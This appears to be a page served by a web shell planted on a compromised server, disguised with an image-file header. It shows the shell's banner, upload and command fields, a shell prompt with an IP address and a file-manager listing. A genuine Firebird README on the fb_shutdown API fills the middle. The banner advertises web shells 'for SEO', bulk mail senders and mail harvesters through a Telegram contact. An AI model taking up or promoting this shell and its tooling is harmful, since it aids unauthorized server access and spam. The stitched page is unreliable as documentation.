����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
fb_shutdown(), fb_shutdown_callback() - new API call in Firebird 2.5.

   Implements smart shutdown of engine. Primarily used when working with embedded Firebird.

Author:
   Alex Peshkoff <peshkoff@mail.ru>

Syntax is:

   typedef int (*FB_SHUTDOWN_CALLBACK)(const int reason, const int mask, void* arg);

   int fb_shutdown(unsigned int timeout, 
                   const int reason);

   ISC_STATUS fb_shutdown_callback(ISC_STATUS* status_vector,
                                   FB_SHUTDOWN_CALLBACK callback_function,
                                   const int mask,
                                   void* arg);

Description:

fb_shutdown() performs smart shutdown of various Firebird subsystems (yValve, engine, redirector).
It DOES NOT perform shutdown of remote servers, to which you are currently attached - just 
terminates any Firebird activity in the current process. fb_shutdown() was primarily designed 
to be used by engine itself, but also can be used in user applications - for example, if you want
to close all opened handles at once, fb_shutdown() may be used for it. Normally it should not be 
used, because Firebird libraries (both kinds - embedded or pure client) do call it automatically
at exit(). To make fb_shutdown() be called at exit, you should attach at least one database (or 
service).

fb_shutdown() accepts 2 parameters - timeout in milliseconds and reason of shutdown. Engine uses
negative reason codes (they are listed in ibase.h, see constants starting with fb_shutrsn), if
you need to call fb_shutdown() from your program, you must use positive value for reason. This
value is passed to callback_function, passed as an argument to fb_shutdown_callback(), and you can
take appropriate actions when writing callback function.

Zero return value of fb_shutdown() means shutdown is successfull, non-zero means some errors took 
place during shutdown. You should consult firebird.log for more information.

fb_shutdown_callback() setups callback function, which will be called during shutdown. It has 4 
parameters - status vector, pointer to callback function, call mask and argumnet to be passed 
to callback function. Call mask can have the following values:
fb_shut_confirmation - callback function may return non-zero value to abort shutdown
fb_shut_preproviders - callback function will be called before shutting down engine
fb_shut_postproviders - callback function will be called after shutting down engine
fb_shut_finish - final step, callback function may wait for some activity to be terminated
or ORed combination of them (to make same function be called in required cases).
Non-zero mask passed to callback will be ORed with mask used in previous call (if any). Mask also
may have special value 0 - in that case previous mask is reset and callback will never be called.

Callback function has 3 parameters - reason of shutdown, actual value of mask with which it was 
called and argument passed by user to fb_shutdown_callback(). There are 2 specially interesting 
shutdown reasons: 
fb_shutrsn_exit_called - Firebird is closing due to exit() or unloaded client/embedded library
fb_shutrsn_signal - signal SIGINT or SIGTERM was caught (posix only)
Second parameter (actual value of mask) helps to distinguish if callback was invoked before or after
engine shutdown. 
First and second parameters help you decide what action to be taken in your callback. Third can 
be used for any purporse you like and may be NULL.

Zero return value of callback function means it performed it's job OK, non-zero is interpreted
depending upon call mask. For fb_shut_confirmation non-zero means that shutdown will not be
performed. It's bad idea to return non-zero if shutdown is due to exit() called. In all other cases
it means some errors took place, and non-zero value will be returned from fb_shutdown(). It's 
callback function's responsibility to notify the world about exact reasons of error return.

fb_shutdown_callback() almost always returns successfully, though in some cases (out of memory
for example) it can return error.

Sample (it will make your program do not terminate on ctrl-C pressed after attaching databases):

#include <ibase.h>

// callback function for shutdown
static int ignoreCtrlC(const int reason, const int, void*)
{
	return reason == fb_shutrsn_signal ? 1 : 0;
}

int main(int argc, char *argv[])
{
	ISC_STATUS_ARRAY status;
	if (fb_shutdown_callback(status, ignoreCtrlC, fb_shut_confirmation, 0))
	{
		isc_print_status(status);
		return 1;
	}
	// your code continues ...
}

Filemanager

Name Type Size Permission Actions
sample Folder 0755
sql.extensions Folder 0755
CHANGELOG.md File 124.67 KB 0644
Firebird-3-QuickStart.pdf File 373.23 KB 0644
Firebird-4.0.6-ReleaseNotes.pdf File 1.08 MB 0644
IDPLicense.txt File 25.41 KB 0444
IPLicense.txt File 23.73 KB 0444
README.DiskSpaceAllocation File 3.23 KB 0644
README.Fedora File 732 B 0644
README.IPv6 File 2.11 KB 0644
README.NTSecurity File 1.67 KB 0644
README.Optimizer.txt File 4.22 KB 0644
README.SecureRemotePassword.html File 10.51 KB 0644
README.Win32LibraryInstallation.txt File 5.09 KB 0644
README.Win9X_NT_embedding File 1.08 KB 0644
README.build.macosx.md File 588 B 0644
README.build.mingw.html File 4.12 KB 0644
README.build.msvc.html File 5.9 KB 0644
README.build.posix.html File 26.14 KB 0644
README.coding.style File 1.37 KB 0644
README.connection_string_charset.txt File 2.07 KB 0644
README.connection_strings File 4.14 KB 0644
README.external_routines.txt File 4.11 KB 0644
README.fb_cancel_operation File 2.3 KB 0644
README.fb_shutdown File 4.44 KB 0644
README.fbsvcmgr File 5.22 KB 0644
README.garbage_collector File 2.19 KB 0644
README.gbak File 829 B 0644
README.incompatibilities.3to4.txt File 3.22 KB 0644
README.incompatibilities.txt File 1.79 KB 0644
README.instsvc File 7.24 KB 0644
README.intl File 21.38 KB 0644
README.isql_enhancements.txt File 10.54 KB 0644
README.makefiles File 3.38 KB 0644
README.md File 1.83 KB 0644
README.modern_cpp.md File 2.26 KB 0644
README.monitoring_tables File 19.57 KB 0644
README.online_validation File 3.9 KB 0644
README.performance_monitoring File 2.9 KB 0644
README.plugins.html File 15.2 KB 0644
README.providers.html File 10.51 KB 0644
README.raw_devices File 2.32 KB 0644
README.read_consistency.md File 14.09 KB 0644
README.read_password_from_file File 1.19 KB 0644
README.replication.md File 11.38 KB 0644
README.security_database.txt File 3.11 KB 0644
README.services_extension File 11.44 KB 0644
README.session_idle_timeouts File 4.82 KB 0644
README.sha1 File 6.78 KB 0644
README.statement_timeouts File 6.77 KB 0644
README.superclassic File 2.65 KB 0644
README.trace_services File 7.38 KB 0644
README.transaction_at_snapshot.md File 906 B 0644
README.trusted_authentication File 3.14 KB 0644
README.user.embedded File 3.4 KB 0644
README.user.troubleshooting File 5.57 KB 0644
README.wire.compression.html File 1.9 KB 0644
README.xnet File 1.35 KB 0644
udf_replace.sql File 10.73 KB 0600
udf_replace.txt File 2.81 KB 0600